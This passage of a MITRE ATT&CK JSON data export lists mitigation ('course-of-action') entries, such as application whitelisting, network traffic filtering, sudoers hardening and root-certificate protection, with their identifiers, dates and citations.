(Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--1c6bc7f3-d517-4971-aed4-8f939090846b","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1013","external_id":"T1013"},{"url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","source_name":"Beechey 2010"}],"modified":"2019-07-25T11:26:14.570Z","name":"Port Monitors Mitigation","description":"Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f","type":"course-of-action","created":"2019-06-11T16:30:16.672Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1035","url":"https://attack.mitre.org/mitigations/M1035"}],"modified":"2020-06-09T20:51:00.027Z","name":"Limit Access to Resource Over Network","description":"Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--1e4ef2c7-ee96-4484-9baa-3b5777561301","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1155","external_id":"T1155"},{"source_name":"applescript signing","description":"Steven Sande. (2013, December 23). AppleScript and Automator gain new features in OS X Mavericks. Retrieved September 21, 2018.","url":"https://www.engadget.com/2013/10/23/applescript-and-automator-gain-new-features-in-os-x-mavericks/"}],"modified":"2019-07-24T14:31:55.409Z","name":"AppleScript Mitigation","description":"Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing (Citation: applescript signing). This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--1e614ba5-2fc5-4464-b512-2ceafb14d76d","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1202","url":"https://attack.mitre.org/mitigations/T1202","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"},{"source_name":"SpectorOPs SettingContent-ms Jun 2018","url":"https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39","description":"Nelson, M. (2018, June 11). The Tale of SettingContent-ms Files. Retrieved April 18, 2019."}],"modified":"2021-08-23T20:25:19.370Z","name":"Indirect Command Execution Mitigation","description":"Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities and file types/locations used to invoke malicious execution.(Citation: SpectorOPs SettingContent-ms Jun 2018)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--1f34230d-b6ae-4dc7-8599-78c18820bd21","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1135","url":"https://attack.mitre.org/mitigations/T1135","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.867Z","name":"Network Share Discovery Mitigation","description":"Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea","type":"course-of-action","created":"2019-06-06T21:21:13.027Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1029","url":"https://attack.mitre.org/mitigations/M1029"}],"modified":"2019-06-06T21:21:13.027Z","name":"Remote Data Storage","description":"Use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-17T18:54:05.785Z","name":"Filter Network Traffic","description":"Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","type":"course-of-action","id":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","created":"2019-06-11T16:33:55.337Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/M1037","external_id":"M1037"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","type":"course-of-action","created":"2019-06-06T20:52:59.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1021","url":"https://attack.mitre.org/mitigations/M1021"}],"modified":"2019-06-06T20:52:59.206Z","name":"Restrict Web-Based Content","description":"Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--23061b40-a7b6-454f-8950-95d5ff80331c","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1130","url":"https://attack.mitre.org/mitigations/T1130","source_name":"mitre-attack"},{"source_name":"Wikipedia HPKP","description":"Wikipedia. (2017, February 28). HTTP Public Key Pinning. Retrieved March 31, 2017.","url":"https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning"},{"url":"https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec","description":"Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.","source_name":"SpectorOps Code Signing Dec 2017"}],"modified":"2020-03-31T12:49:14.885Z","name":"Install Root Certificate Mitigation","description":"HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)\n\nWindows Group Policy can be used to manage root certificates and the Flags value of HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\Root\\ProtectedRoots can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-17T18:54:20.898Z","name":"Limit Software Installation","description":"Block users or groups from installing unapproved software.","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","type":"course-of-action","id":"course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547","created":"2019-06-11T16:26:52.202Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/M1033","external_id":"M1033"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--23bff3ce-021c-4e7a-9aee-60fd40bc7c6c","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1169","external_id":"T1169"}],"modified":"2019-07-25T12:03:12.876Z","name":"Sudo Mitigation","description":"The sudoers file should be strictly edited such that passwords are always required and that users can’t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--24478001-2eb3-4b06-a02e-96b3d61d27ec","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1079","external_id":"T1079"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-25T11:15:39.400Z","name":"Multilayer Encryption Mitigation","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--245075bc-f992-4d89-af8c-834c53d403f4","type":"course-of-action","created":"2019-04-24T17:03:39.689Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1493","source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1493"}],"modified":"2019-07-25T12:28:59.970Z","name":"Transmitted Data Manipulation Mitigation","description":"Identify critical business and system processes that may be targeted by adversaries and work to secure communications related to those processes against tampering. Encrypt all important data flows to reduce the impact of tailored modifications on data in transit.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--2497ac92-e751-4391-82c6-1b86e34d0294","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1020","url":"https://attack.mitre.org/mitigations/T1020","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:22.459Z","name":"Automated Exfiltration Mitigation","description":"Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--25d5e1d8-c6fb-4735-bc57-115a21222f4b","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1010","url":"https://attack.mitre.org/mitigations/T1010","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.664Z","name":"Application Window Discovery Mitigation","description":"Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-27T20:18:19.004Z","name":"Application Developer Guidance","description":"This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","mobile-attack"],"x_mitre_version":"1.1","type":"course-of-action","id":"course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1","created":"2017-10-25T14:48:53.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/M1013","external_id":"M1013"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--25e53928-6f33-49b7-baee-8180578286f6","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1019","external_id":"T1019"},{"source_name":"TCG Trusted Platform Module","description":"Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.","url":"http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf"}],"modified":"2019-07-25T12:06:06.231Z","name":"System Firmware Mitigation","description":"Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--28adf6fd-ab6c-4553-9aa7-cef18a191f33","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1002","url":"https://attack.mitre.org/mitigations/T1002","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.683Z","name":"Data Compressed Mitigation","description":"Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIf network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--2995bc22-2851-4345-ad19-4e7e295be264","type":"course-of-action","created":"2019-06-11T16:28:41.809Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1034","url":"https://attack.mitre.org/mitigations/M1034"}],"modified":"2020-06-09T20:48:12.326Z","name":"Limit Hardware Installation","description":"Block users or groups from installing or using unapproved hardware on systems, including USB devices.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-17T18:55:19.798Z","name":"User Training","description":"Train users to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","type":"course-of-action","id":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","created":"2019-06-06T16:50:04.963Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/M1017","external_id":"M1017"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--2a8de25c-f743-4348-b101-3ee33ab5871b","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1022","url":"https://attack.mitre.org/mitigations/T1022","source_name":"mitre-attack"},{"url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","source_name":"Beechey 2010"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","source_name":"Corio 2008"},{"url":"https://technet.microsoft.com/en-us/library/ee791851.aspx","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","source_name":"TechNet Applocker vs SRP"}],"modified":"2021-08-23T20:25:19.310Z","name":"Data Encrypted Mitigation","description":"Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1083","url":"https://attack.mitre.org/mitigations/T1083","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.120Z","name":"File and Directory Discovery Mitigation","description":"File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs 